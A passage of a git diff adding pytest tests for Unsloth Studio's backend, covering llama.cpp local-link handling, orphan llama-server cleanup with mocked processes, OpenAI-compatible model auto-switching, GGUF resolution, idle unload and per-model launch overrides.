(IndexError) -> None. + def fake_open(path, *a, **kw): + if str(path).startswith("/proc/"): + return io.StringIO("Name:\ttest\nVmRSS:\n") + return open(path, *a, **kw) + + with patch("builtins.open", side_effect = fake_open): + assert LlamaCppBackend._read_rss_bytes(4321) is None + + +@pytest.mark.skipif(not sys.platform.startswith("linux"), reason = "/proc is Linux-only") +def test_read_rss_bytes_reads_self_on_linux(): + rss = LlamaCppBackend._read_rss_bytes(__import__("os").getpid()) + assert isinstance(rss, int) and rss > 0 diff --git a/studio/backend/tests/test_local_llama_cpp_link.py b/studio/backend/tests/test_local_llama_cpp_link.py new file mode 100644 index 0000000000..c78c029d91 --- /dev/null +++ b/studio/backend/tests/test_local_llama_cpp_link.py @@ -0,0 +1,137 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Behavioral tests for the --with-llama-cpp-dir 'unmanaged local link' contract. + +When the canonical llama.cpp dir is a symlink (POSIX) / junction (Windows) to a +user's own checkout, Studio must treat it as externally managed: + - the in-app updater must not offer or apply a prebuilt over the link + - orphan cleanup must not kill a llama-server the user launched from that tree + +These exercise real link behavior rather than grepping the scripts. +""" + +import os +import subprocess +from pathlib import Path + +import pytest + +from utils import llama_cpp_update as u +from core.inference.llama_cpp import LlamaCppBackend + + +def _make_link(link: Path, target: Path) -> None: + """Create a directory junction (Windows) / symlink (POSIX); neither needs + elevation.""" + target.mkdir(parents = True, exist_ok = True) + if os.name == "nt": + subprocess.run( + ["cmd", "/c", "mklink", "/J", str(link), str(target)], + check = True, + capture_output = True, + text = True, + ) + else: + link.symlink_to(target, target_is_directory = True) + + +def _server_subpath() -> Path: + return Path( + "build/bin/Release/llama-server.exe" if os.name == "nt" else "build/bin/llama-server" + ) + + +class _FakeProc: + def __init__(self, pid: int, exe: str) -> None: + self.info = {"pid": pid, "name": "llama-server", "exe": exe} + self.killed = False + + def kill(self) -> None: + self.killed = True + + +def test_is_external_link_detects_link_vs_plain_dir(tmp_path: Path) -> None: + plain = tmp_path / "plain" + plain.mkdir() + assert u._is_external_link(plain) is False + + link = tmp_path / "link" + _make_link(link, tmp_path / "tgt") + assert u._is_external_link(link) is True + + +def test_active_install_is_local_link(tmp_path: Path) -> None: + link = tmp_path / "llama.cpp" + _make_link(link, tmp_path / "tgt") + binary = str(link / _server_subpath()) + assert u._active_install_is_local_link(binary) is True + + # A plain (non-link) llama.cpp dir is Studio-managed, not a local link. + plain = tmp_path / "plain" / "llama.cpp" + plain.mkdir(parents = True) + assert u._active_install_is_local_link(str(plain / _server_subpath())) is False + + +def test_get_update_status_reports_local_link(tmp_path: Path, monkeypatch) -> None: + link = tmp_path / "llama.cpp" + _make_link(link, tmp_path / "tgt") + monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath())) + st = u.get_update_status() + assert st["supported"] is False + assert st["update_available"] is False + assert st["local_link"] is True + + +def test_start_update_refuses_local_link(tmp_path: Path, monkeypatch) -> None: + link = tmp_path / "llama.cpp" + _make_link(link, tmp_path / "tgt") + monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath())) + res = u.start_update() + assert res["started"] is False + assert res["reason"] == "local_link" + + +def _run_orphan_scan(monkeypatch, studio_root: Path, fake: _FakeProc) -> int: + # psutil drives the cross-platform process scan; skip (rather than error) if a + # minimal test env lacks it. CI installs it so these tests actually run. + psutil = pytest.importorskip("psutil") + + monkeypatch.setattr( + LlamaCppBackend, + "_resolved_studio_root_and_is_legacy", + staticmethod(lambda: (studio_root.resolve(), False)), + ) + monkeypatch.setattr(LlamaCppBackend, "_reap_recorded_pid", staticmethod(lambda: 0)) + monkeypatch.setattr(psutil, "process_iter", lambda attrs = None: iter([fake])) + return LlamaCppBackend._kill_orphaned_servers() + + +def test_orphan_cleanup_spares_local_link_tree(tmp_path: Path, monkeypatch) -> None: + studio_root = tmp_path / "studio-home" + studio_root.mkdir() + external = tmp_path / "external" + (external / _server_subpath().parent).mkdir(parents = True) + (external / _server_subpath()).write_text("x") + _make_link(studio_root / "llama.cpp", external) + + exe_under_link = str((external / _server_subpath()).resolve()) + fake = _FakeProc(os.getpid() + 777, exe_under_link) + killed = _run_orphan_scan(monkeypatch, studio_root, fake) + assert killed == 0 + assert fake.killed is False + + +def test_orphan_cleanup_kills_under_real_root(tmp_path: Path, monkeypatch) -> None: + # Control: a real (non-link) managed root still gets its orphan reaped, so + # the spare-the-link test above is meaningful (not a no-op). + studio_root = tmp_path / "studio-home" + bin_dir = studio_root / "llama.cpp" / _server_subpath().parent + bin_dir.mkdir(parents = True) + exe = studio_root / "llama.cpp" / _server_subpath() + exe.write_text("x") + + fake = _FakeProc(os.getpid() + 888, str(exe.resolve())) + killed = _run_orphan_scan(monkeypatch, studio_root, fake) + assert killed == 1 + assert fake.killed is True diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py index dce5e27c08..14fc0933d0 100644 --- a/studio/backend/tests/test_mlx_training_worker_config.py +++ b/studio/backend/tests/test_mlx_training_worker_config.py @@ -76,7 +76,7 @@ def test_mlx_studio_optimizer_aliases_are_explicit(): def test_mlx_studio_rejects_unknown_optimizer(): - with pytest.raises(ValueError, match = "Unsupported optimizer for MLX training"): + with pytest.raises(ValueError, match = "Supported"): _normalize_mlx_studio_optimizer("adamw_typo") diff --git a/studio/backend/tests/test_openai_auto_switch.py b/studio/backend/tests/test_openai_auto_switch.py new file mode 100644 index 0000000000..7d2e2213b3 --- /dev/null +++ b/studio/backend/tests/test_openai_auto_switch.py @@ -0,0 +1,3039 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Opt-in OpenAI /v1 model auto-switch: resolver, hook, and settings coercion. + +No GPU or llama-server: the backend and the load route are mocked, mirroring +tests/test_gguf_completion_usage.py. +""" + +import asyncio + +import pytest + +import routes.inference as inference_route +from models.inference import LoadRequest +from core.inference import local_model_resolver as resolver +from utils import openai_auto_switch_settings as settings + + +class _FakeBackend: + def __init__( + self, + loaded_id = None, + hf_variant = None, + advertised_id = None, + ): + self.model_identifier = loaded_id + self.is_loaded = loaded_id is not None + self.hf_variant = hf_variant + self._openai_advertised_id = advertised_id + + +class _LoadRecorder: + """Stand-in for the load route: records calls and simulates a load.""" + + def __init__( + self, + backend, + fail = False, + ): + self.backend = backend + self.calls = [] + self.fail = fail + + async def __call__( + self, + request, + fastapi_request, + current_subject = None, + ): + self.calls.append(request) + if self.fail: + from fastapi import HTTPException + raise HTTPException(status_code = 503, detail = "load failed") + self.backend.model_identifier = request.model_path + self.backend.is_loaded = True + # Mirror _load_model_impl: a load advertises its own id until the + # auto-switch caller overwrites it with the repo id. + self.backend._openai_advertised_id = None + return None + + +def _wire(monkeypatch, *, enabled, resolves_to, backend, recorder): + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: enabled) + monkeypatch.setattr(resolver, "resolve_local_gguf", lambda _m: resolves_to) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + # Auto-switch loads via _load_model_impl (the /load route holds the lifecycle + # gate that auto-switch already owns, so it calls the impl directly). + monkeypatch.setattr(inference_route, "_load_model_impl", recorder) + monkeypatch.setattr(inference_route, "_auto_switch_waiters", {}) + monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {}) + + +def _run_hook(model = "some/model"): + asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "tester")) + + +def test_flag_off_never_loads(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = False, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF") + assert rec.calls == [] + + +def test_unknown_model_falls_through(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + _run_hook("gpt-4o-mini") + assert rec.calls == [] + + +def test_already_loaded_does_not_reload(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + # Case-insensitive match against the loaded identifier. + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/a-gguf", None, "unsloth/a-gguf"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/A-GGUF") + assert rec.calls == [] + + +def test_known_unloaded_model_switches_once(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q4_K_M") + assert len(rec.calls) == 1 + req = rec.calls[0] + assert isinstance(req, LoadRequest) + assert req.model_path == "unsloth/B-GGUF" + assert req.gguf_variant == "Q4_K_M" + assert backend.model_identifier == "unsloth/B-GGUF" + + +def test_concurrent_same_target_loads_once(monkeypatch): + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + + async def _race(): + await asyncio.gather( + inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"), + inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"), + ) + + asyncio.run(_race()) + assert len(rec.calls) == 1 + + +def test_load_failure_propagates(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend, fail = True) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException): + _run_hook("unsloth/B-GGUF") + + +def test_same_repo_different_variant_switches(monkeypatch): + # Q4_K_M loaded, Q8_0 requested: a different quant must trigger a reload. + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q8_0") + assert len(rec.calls) == 1 + assert rec.calls[0].gguf_variant == "Q8_0" + + +def test_same_repo_same_variant_does_not_reload(monkeypatch): + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "q4_k_m", "unsloth/B-GGUF"), # case-insensitive + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q4_K_M") + assert rec.calls == [] + + +def test_responses_endpoint_wires_auto_switch_before_dispatch(): + # The /v1/responses endpoint must invoke the auto-switch hook before either + # dispatcher so streaming requests switch too. Asserted on the source, which + # is immune to test-ordering effects on the shared inference module. + import inspect + + src = inspect.getsource(inference_route.openai_responses) + assert "_maybe_auto_switch_model" in src + hook_at = src.index("_maybe_auto_switch_model") + assert hook_at < src.index("_responses_stream") + assert hook_at < src.index("_responses_non_streaming") + + +def test_embeddings_endpoint_wires_auto_switch_before_loaded_check(): + # /v1/embeddings is model-bearing too, so it must auto-switch before the + # loaded-state gate. Asserted on the source for order-independence. + import inspect + + src = inspect.getsource(inference_route.openai_embeddings) + assert "_auto_switch_from_request_body" in src + assert src.index("_auto_switch_from_request_body") < src.index("is_loaded") + + +def test_count_tokens_endpoint_wires_auto_switch_before_loaded_check(): + # The Anthropic token-count endpoint must count with the requested model. + import inspect + + src = inspect.getsource(inference_route.anthropic_count_tokens) + assert "_maybe_auto_switch_model" in src + assert src.index("_maybe_auto_switch_model") < src.index("is_loaded") + + +def test_openai_compat_routes_bound_to_handlers_with_auth(): + # Inserting a helper between a @router.post decorator and its handler silently + # rebinds the route to the helper and drops its auth dependency (this happened to + # /messages/count_tokens). The source-inspection tests above miss it because they + # call the handler directly. Lock the path -> (handler, auth) mapping at the route + # level so any decorator/handler split is caught. + expected = { + ("POST", "/chat/completions"): "openai_chat_completions", + ("POST", "/completions"): "openai_completions", + ("POST", "/embeddings"): "openai_embeddings", + ("POST", "/responses"): "openai_responses", + ("POST", "/messages"): "anthropic_messages", + ("POST", "/messages/count_tokens"): "anthropic_count_tokens", + ("POST", "/audio/generate"): "generate_audio", + ("GET", "/models"): "openai_list_models", + ("GET", "/models/{model_id:path}"): "openai_retrieve_model", + } + seen = {} + for r in inference_route.router.routes: + path = getattr(r, "path", None) + endpoint = getattr(r, "endpoint", None) + if path is None or endpoint is None: + continue + for method in getattr(r, "methods", None) or (): + seen[(method, path)] = r + for key, handler in expected.items(): + assert key in seen, f"route {key} is not registered" + route = seen[key] + assert ( + route.endpoint.__name__ == handler + ), f"{key} bound to {route.endpoint.__name__}, expected {handler}" + deps = [d.call.__name__ for d in route.dependant.dependencies] + assert "get_current_subject" in deps, f"{key} lost its auth dependency" + + +# ── resolver ──────────────────────────────────────────────────────── + + +def test_local_gguf_entry_filters_non_gguf_and_recurses(tmp_path): + from types import SimpleNamespace + + # Transformers/safetensors folder: not a GGUF, must be rejected. + tf = tmp_path / "tf-model" + tf.mkdir() + (tf / "config.json").write_text("{}") + (tf / "model.safetensors").write_text("x") + assert resolver._local_gguf_entry("tf", SimpleNamespace(path = str(tf))) is None + + # Standalone .gguf file: an entry with no quant sub-selection. + bare = tmp_path / "x.gguf" + bare.write_text("x") + e = resolver._local_gguf_entry("x", SimpleNamespace(path = str(bare))) + assert e is not None and e.variants == () + + # HF-cache snapshots with a quant subdir (the nested layout the previous + # shallow glob missed): must still be detected. + repo = tmp_path / "models--org--repo" + (repo / "snapshots" / "abc" / "BF16").mkdir(parents = True) + (repo / "snapshots" / "abc" / "BF16" / "model-BF16.gguf").write_text("x") + e2 = resolver._local_gguf_entry("org/repo", SimpleNamespace(path = str(repo))) + assert e2 is not None and e2.variants + + +def test_local_gguf_entry_rejects_standalone_mmproj(tmp_path): + # Codex P2: _scan_models_dir's standalone-.gguf pass emits an entry for a + # bare mmproj projector (it only filters mmproj inside directory scans). A + # projector is not a servable model, so the resolver must reject it or + # /v1/models advertises it and a switch could load it over the real weights. + from types import SimpleNamespace + + proj = tmp_path / "mmproj-F16.gguf" + proj.write_text("x") + assert resolver._local_gguf_entry("p", SimpleNamespace(path = str(proj))) is None + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(proj), path = str(proj))) is False + + +def _entry(loader_id, *variants): + # load_path == loader_id for tests; production stores a concrete local path. + return resolver._LocalGgufEntry(loader_id, loader_id, tuple(variants)) + + +def test_resolver_matches_and_splits_variant(monkeypatch): + monkeypatch.setattr( + resolver, + "_build_index", + lambda: {"unsloth/b-gguf": _entry("unsloth/B-GGUF", "UD-Q5_K_XL", "Q4_K_M")}, + ) + resolver._scan = (0.0, {}) # force a rescan + # A requested variant present on disk resolves (case-insensitive). + assert resolver.resolve_local_gguf("unsloth/B-GGUF:ud-q5_k_xl") == ( + "unsloth/B-GGUF", + "UD-Q5_K_XL", + "unsloth/B-GGUF", + ) + # A bare id resolves to a concrete local quant, never a remote one. + assert resolver.resolve_local_gguf("unsloth/B-GGUF") == ( + "unsloth/B-GGUF", + "UD-Q5_K_XL", + "unsloth/B-GGUF", + ) + # A variant that is not on disk must not resolve (no remote download). + assert resolver.resolve_local_gguf("unsloth/B-GGUF:Q8_0") is None + assert resolver.resolve_local_gguf("totally/unknown") is None + assert resolver.resolve_local_gguf("") is None + + +def test_resolver_failsafe_on_internal_error(monkeypatch): + # Resolution is best-effort: any internal failure must fall through to None + # so the request still serves the loaded model instead of 500-ing. The hook + # calls resolve_local_gguf without its own guard, so the guard lives here. + def boom(): + raise RuntimeError("scan blew up") + + monkeypatch.setattr(resolver, "_build_index", boom) + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf("unsloth/B-GGUF") is None + + +def test_resolver_nonstring_model_is_failsafe(): + # /v1/completions and /v1/embeddings pass body.get("model") straight through, + # so a non-string must not raise on .strip(). + assert resolver.resolve_local_gguf(123) is None + assert resolver.resolve_local_gguf({"a": 1}) is None + assert resolver.resolve_local_gguf(None) is None + + +def test_resolver_exact_id_with_colon_wins(monkeypatch): + # A local id that itself contains a colon (e.g. a Windows path) must match + # exactly rather than being split at the drive-letter colon. + win = r"C:\models\foo.gguf" + monkeypatch.setattr(resolver, "_build_index", lambda: {win.lower(): _entry(win)}) + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf(win) == (win, None, win) + + +# ── settings coercion ─────────────────────────────────────────────── + + +def test_setting_coercion(): + assert settings._coerce_bool("on") is True + assert settings._coerce_bool("off") is False + assert settings._coerce_bool("garbage") is None + assert settings._coerce_int("5") == 5 + assert settings._coerce_int(-3) == 0 + assert settings._coerce_int("nope") is None + + +# ── idle keep-warm ────────────────────────────────────────────────── + + +def test_idle_loop_does_not_unload_freshly_loaded_model(monkeypatch): + # Server idle far longer than the TTL, then a model is loaded: the load + # transition stamps activity so the next poll must not unload it. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 1) + kw._inflight = 0 + kw._last_active = time.monotonic() - 3600 + + unloads = [] + backend = _FakeBackend("unsloth/Fresh-GGUF") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.05) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [] + + +def test_idle_loop_unloads_after_ttl_and_stashes_for_reload(monkeypatch): + # The headline behavior (the other idle tests only cover the negative paths): + # with nothing in flight and the TTL elapsed, the loop frees the GGUF exactly + # once and records its identity so a later alias request can reload that variant. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005) + kw._inflight = 0 + kw._pending = 0 + kw._last_active = time.monotonic() - 3600 + kw._last_unloaded_model = None + + unloads = [] + backend = _FakeBackend("unsloth/Idle-GGUF", hf_variant = "Q4_K_M") + + def _unload(): + unloads.append(1) + backend.is_loaded = False # a real unload clears the slot + + backend.unload_model = _unload + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.02)) + await asyncio.sleep(0.2) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [1] # freed once, not repeatedly + stash = kw.get_last_unloaded_model() + assert stash is not None and stash[0] == "unsloth/Idle-GGUF" and stash[1] == "Q4_K_M" + + +def test_audio_generate_is_tracked_as_inference_path(): + # Direct GGUF TTS uses the llama backend and can outlive the idle TTL, so + # the keep-warm middleware must count it as in-flight inference. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/api/inference/audio/generate") is True + assert _is_inference_path("/v1/chat/completions") is True + assert _is_inference_path("/api/inference/models/list") is False + + +def test_idle_loop_does_not_unload_while_request_inflight(monkeypatch): + # An in-flight request (inflight > 0) must protect the model from unload + # even when it has been idle by wall-clock past the TTL. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.01) + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_last_active", time.monotonic() - 3600) + + unloads = [] + backend = _FakeBackend("unsloth/Active-GGUF") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.08) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [] + + +# ── per-model launch overrides ────────────────────────────────────── + + +def test_auto_switch_applies_model_override(monkeypatch): + # A configured model loads with its saved launch flags, not bare defaults. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr( + settings, + "get_model_override", + lambda model_id: {"llama_extra_args": ["--n-gpu-layers", "20"], "max_seq_length": 4096}, + ) + + _run_hook("unsloth/B-GGUF") + assert len(rec.calls) == 1 + req = rec.calls[0] + assert req.model_path == "unsloth/B-GGUF" + assert req.gguf_variant == "Q4_K_M" + assert req.llama_extra_args == ["--n-gpu-layers", "20"] + assert req.max_seq_length == 4096 + + +def test_auto_switch_applies_partial_override(monkeypatch): + # Only llama_extra_args is configured: it is applied, max_seq_length stays default. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr( + settings, "get_model_override", lambda model_id: {"llama_extra_args": ["--flash-attn"]} + ) + + _run_hook("unsloth/B-GGUF") + req = rec.calls[0] + assert req.llama_extra_args == ["--flash-attn"] + assert req.max_seq_length == 0 # untouched default + + +def _mock_override_store(monkeypatch): + """Back the override read + atomic-merge write with an in-memory dict.""" + import storage.studio_db as db + + store = {} + + def _merge_entry(key, entry_key, entry_value): + current = dict(store.get(key) or {}) + if entry_value: + current[entry_key] = entry_value + else: + current.pop(entry_key, None) + store[key] = current + return current + + monkeypatch.setattr(db, "upsert_app_setting_map_entry", _merge_entry) + monkeypatch.setattr(db, "get_app_setting", lambda k, default = None: store.get(k, default)) + settings._cache.clear() + return store + + +def test_model_override_roundtrip(monkeypatch): + _mock_override_store(monkeypatch) + + settings.set_model_override( + "unsloth/B-GGUF", llama_extra_args = ["--n-gpu-layers", "20"], max_seq_length = 4096 + ) + assert settings.get_model_override("unsloth/B-GGUF") == { + "llama_extra_args": ["--n-gpu-layers", "20"], + "max_seq_length": 4096, + } + # An override with no fields removes the entry rather than storing an empty one. + settings.set_model_override("unsloth/B-GGUF", llama_extra_args = [], max_seq_length = None) + assert settings.get_model_override("unsloth/B-GGUF") == {} + assert settings.get_model_overrides() == {} + + +def test_override_route_rejects_managed_flag_and_removes(monkeypatch): + import routes.settings as settings_route + from fastapi import HTTPException + + _mock_override_store(monkeypatch) + + # A managed/denylisted llama-server flag is rejected with 400, not 500. + bad = settings_route.ModelOverridePayload( + model_id = "unsloth/B-GGUF", llama_extra_args = ["--port", "1234"] + ) + with pytest.raises(HTTPException) as excinfo: + settings_route.update_openai_auto_switch_override(bad, "tester") + assert excinfo.value.status_code == 400 + + # A valid override is stored, then an empty payload removes it through the route. + ok = settings_route.ModelOverridePayload( + model_id = "unsloth/B-GGUF", llama_extra_args = ["--flash-attn"], max_seq_length = 4096 + ) + resp = settings_route.update_openai_auto_switch_override(ok, "tester") + assert resp.overrides["unsloth/B-GGUF"]["max_seq_length"] == 4096 + assert "llama_extra_args" in resp.overrides["unsloth/B-GGUF"] + + empty = settings_route.ModelOverridePayload(model_id = "unsloth/B-GGUF") + resp2 = settings_route.update_openai_auto_switch_override(empty, "tester") + assert "unsloth/B-GGUF" not in resp2.overrides + + +def test_model_override_rejects_zero_max_seq_length(): + # 0 is not a valid sequence length and the setter drops a falsy value, so the + # payload must reject it at the boundary instead of accepting then discarding it. + import pydantic + import routes.settings as settings_route + + with pytest.raises(pydantic.ValidationError): + settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 0) + assert settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 1).max_seq_length == 1 + + +def test_update_openai_auto_switch_writes_both_keys_in_one_transaction(monkeypatch): + # The PUT must persist enabled + idle in a single upsert so a settings write can't + # leave one key updated and the other stale. + import routes.settings as settings_route + import storage.studio_db as db + from utils.openai_auto_switch_settings import ( + AUTO_UNLOAD_IDLE_SETTING_KEY, + OPENAI_AUTO_SWITCH_SETTING_KEY, + ) + + calls = [] + + def _capture(mapping): + calls.append(dict(mapping)) + return {} + + monkeypatch.setattr(db, "upsert_app_settings", _capture) + settings._cache.clear() + + payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_idle_seconds = 120) + resp = settings_route.update_openai_auto_switch(payload, "tester") + assert resp.enabled is True and resp.auto_unload_idle_seconds == 120 + assert len(calls) == 1 # one transaction, not two + written = calls[0] + assert written.get(OPENAI_AUTO_SWITCH_SETTING_KEY) is True + assert written.get(AUTO_UNLOAD_IDLE_SETTING_KEY) == 120 + + +def test_settings_report_idle_unload_active_when_env_backed(monkeypatch): + # Codex P2: with UNSLOTH_MODEL_IDLE_TTL driving idle-unload while the toggle is + # off, the settings response must report idle_unload_active so the UI shows the + # feature as active via env rather than "needs enable". + import routes.settings as settings_route + + monkeypatch.setattr(settings_route, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setattr(settings_route, "get_stored_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr( + settings_route, "get_auto_unload_idle_seconds", lambda: 600 + ) # effective > 0 + resp = settings_route.get_openai_auto_switch("tester") + assert resp.enabled is False and resp.idle_unload_active is True + # Effective TTL 0 (off, nothing env-backed) -> not active. + monkeypatch.setattr(settings_route, "get_auto_unload_idle_seconds", lambda: 0) + assert settings_route.get_openai_auto_switch("tester").idle_unload_active is False + + +# ── /v1/models discovery ──────────────────────────────────────────── + + +def test_v1_models_retrieve_is_case_insensitive(monkeypatch): + # The resolver lowercases its index, so a retrieve that differs only in case + # from a catalog id must still hit (200), not 404. Guards the .lower() compare + # in openai_retrieve_model against a silent revert. (The full local catalog is + # main's #6519; only the loaded fast-path is exact, the catalog loop is lenient.) + from fastapi import HTTPException + + monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + + async def _catalog(): + return [ + {"id": "unsloth/A-GGUF", "object": "model", "created": 1, "owned_by": "local"}, + {"id": "unsloth/B-GGUF", "object": "model", "created": 1, "owned_by": "local"}, + ] + + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _catalog) + + # A catalog id retrieved with different casing still resolves. + obj = asyncio.run(inference_route.openai_retrieve_model("unsloth/a-gguf", "tester")) + assert obj["id"] == "unsloth/A-GGUF" + # A truly unknown id still 404s. + with pytest.raises(HTTPException) as unknown: + asyncio.run(inference_route.openai_retrieve_model("totally/unknown", "tester")) + assert unknown.value.status_code == 404 + + +# ── hardening: hidden models, idle/enabled coupling, count_tokens keep-warm ── + + +def test_index_excludes_hidden_models(tmp_path, monkeypatch): + # The llama.cpp validation probe and RAG embedding weights are hidden from + # Studio's pickers; they must never become auto-switch targets. + from types import SimpleNamespace + import routes.models as models_route + + normal = tmp_path / "normal-Q4_K_M.gguf" + normal.write_bytes(b"x" * 32) + probe = tmp_path / "stories260K.gguf" # llama.cpp install-validation probe + probe.write_bytes(b"x" * 32) + + def _info(mid, path): + return SimpleNamespace(id = mid, path = str(path), model_id = mid, display_name = mid) + + monkeypatch.setattr( + models_route, + "_scan_models_dir", + lambda *a, **k: [_info("org/Normal-GGUF", normal), _info("ggml-org/models", probe)], + ) + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + resolver._scan = (0.0, {}) + + index = resolver._index() + assert "org/normal-gguf" in index # keys are normalized to lowercase + assert "ggml-org/models" not in index + # And the hidden probe cannot be auto-switched to by name. + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf("ggml-org/models") is None + + +def test_idle_disabled_when_auto_switch_off(monkeypatch): + # "Off means unchanged": a stored idle TTL must report 0 while auto-switch is + # off, so the idle loop and keep-warm middleware can never unload the model. + store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 60} + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d)) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 0 + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + assert settings.get_auto_unload_idle_seconds() == 60 + + +def test_count_tokens_is_tracked_as_inference_path(): + # count_tokens counts via the loaded tokenizer, so idle-unload must not pull + # the model out from under it; it has to be a tracked in-flight path. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/v1/messages/count_tokens") is True + assert _is_inference_path("/api/inference/messages/count_tokens") is True + assert _is_inference_path("/v1/messages") is True + + +# ── review follow-ups: bare-id reuse, responses order, in-flight tracking ── + + +def test_bare_id_tolerates_any_loaded_variant(monkeypatch): + # Repo already loaded as Q4_K_M; a BARE request for the same repo (resolver + # picks the largest local quant, Q8_0) must NOT reload a different quant. + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF") # bare, no :VARIANT + assert rec.calls == [] + # An explicit :VARIANT request still honors the quant (reloads to Q8_0). + rec2 = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec2, + ) + _run_hook("unsloth/B-GGUF:Q8_0") + assert len(rec2.calls) == 1 + + +def test_responses_hook_runs_after_input_validation(): + # A request that 400s on empty input must not have triggered a model load, + # 